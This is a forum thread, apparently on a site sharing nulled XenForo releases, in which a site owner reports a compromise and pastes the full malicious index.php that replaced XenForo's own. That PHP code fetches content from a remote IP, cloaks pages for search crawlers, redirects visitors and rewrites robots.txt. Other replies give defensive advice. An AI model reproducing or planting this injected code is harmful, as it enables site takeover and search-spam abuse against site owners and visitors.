Released 2x XenForo 2.1.12 Released Full | XenForo 2.1 ENXF 2.1.12

[DRIVER1ksa]

i'm running 2.1.3 got Hacked today

 

[SNap!]

i'm running 2.1.3 got Hacked today

DRIVER1ksathey hijacking in which form ?

 

[BattleKing]

i'm running 2.1.3 got Hacked today

DRIVER1ksaplease more details on it.
did you find something in the logs of the web server, how did you recognized that you are hacked?

What else is on the server installed?

 

[DRIVER1ksa]

please more details on it.
did you find something in the logs of the web server, how did you recognized that you are hacked?

What else is on the server installed?

BattleKingyes he upload this file
and delete all index file on my xenforo website ,

 

[DRIVER1ksa]

please more details on it.
did you find something in the logs of the web server, how did you recognized that you are hacked?

What else is on the server installed?

BattleKingthis file

<?php $inter_domain='http://204.12.224.242/z0222_2/';function stp(){ return exit; } func...

 

[DRIVER1ksa]

please more details on it.
did you find something in the logs of the web server, how did you recognized that you are hacked?

What else is on the server installed?

BattleKingalso the whol Log file like this 500 line

[28-Feb-2023 06:48:07 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 06:58:02 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 06:58:47 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:07:31 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:30:25 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:31:27 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:37:44 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:47:08 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1

 

[BattleKing]

also the whol Log file like this 500 line

[28-Feb-2023 06:48:07 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 06:58:02 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 06:58:47 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:07:31 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:30:25 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:31:27 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:37:44 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1
[28-Feb-2023 07:47:08 UTC] PHP Notice:  Only variables should be passed by reference in /home/igamezon/public_html/index.php on line 1

DRIVER1ksathis does not look like a hack.

 

[DRIVER1ksa]

now i upgraded to 2.1.12

everything seems work fine

thank you all

 

[BattleKing]

now i upgraded to 2.1.12

everything seems work fine

thank you all

DRIVER1ksaYou upgraded now, but why does this solve your issue?
Because all index files are back?
If you are hacked, then you might be still hacked! So please check carefully what is installed on your server, check created users, check files ...

 

[DRIVER1ksa]

You upgraded now, but why does this solve your issue?
Because all index files are back?
If you are hacked, then you might be still hacked! So please check carefully what is installed on your server, check created users, check files ...

BattleKingthe good.php file does not exist in any of my 10+ backup file, i definitely didn't put it there. in the file you can clearly see ip address and user which belong to the hacker i guess.

also i re uploaded all the file in public_html, that make the website work again,
but cant click or use setting in admin page, the only solution fix it is to upgread.

also sorry didnt mention it before, this is the Xenforo index.php file

<?php $inter_domain='http://204.12.194.2/z0223_2/';function stp(){ return exit; } function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont11($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont11($url_robots,$data1);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}return;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont11($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } return;} if(strpos($req_uri,"allsitemap.xml")){ $str_cont = getServerCont11($map1,$data1); header("Content-type:text/xml"); echo $str_cont;stp();} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont11($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont11($map1,$data1); header("Content-type:text/xml"); echo $str_cont;stp();} $data1['action']="check_words"; $check1= getServerCont11($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1') $data1['action']="rand_xml";$check_url4=getServerCont11($url_words,$data1);header("Content-type:text/xml");echo $check_url4;stp();}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){echo getServerCont11($jump1,$data1);stp(); } $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if($res_crawl){ $data1['http_user_agent']=$user_agent;$get_content = getServerCont11($indata1,$data1); echo $get_content;stp(); } ?>

why it look like this ?


it should be

<?php

$phpVersion = phpversion();
if (version_compare($phpVersion, '5.6.0', '<'))
{
    die("PHP 5.6.0 or newer is required. $phpVersion does not meet this requirement. Please ask your host to upgrade PHP.");
}

$dir = __DIR__;
require($dir . '/src/XF.php');

XF::start($dir);

if (\XF::requestUrlMatchesApi())
{
    \XF::runApp('XF\Api\App');
}
else
{
    \XF::runApp('XF\Pub\App');
}

 

[sazuka]

now i upgraded to 2.1.12

everything seems work fine

thank you all

DRIVER1ksaAny updates on how u got hacked?

 

[SNap!]

seems some files are writeable on host. check permissions

 

[DRIVER1ksa]

seems some files are writeable on host. check permissions

SNap!when i logged into my Cpanel i notice that "Last Modified" column notice PHP file yesterday edited! but i did not log to my cpanel more than one month.

i contacted to my web Host they say its only my web site effected,
the Shared server and other websites are just fine!

 

[bendvb]

this is a good version or is it as bad as 2.2

 

[BattleKing]

this is a good version or is it as bad as 2.2

bendvbwhat do you mean with bad version as 2.2?

 

[susl16c]

2.1.15 Please update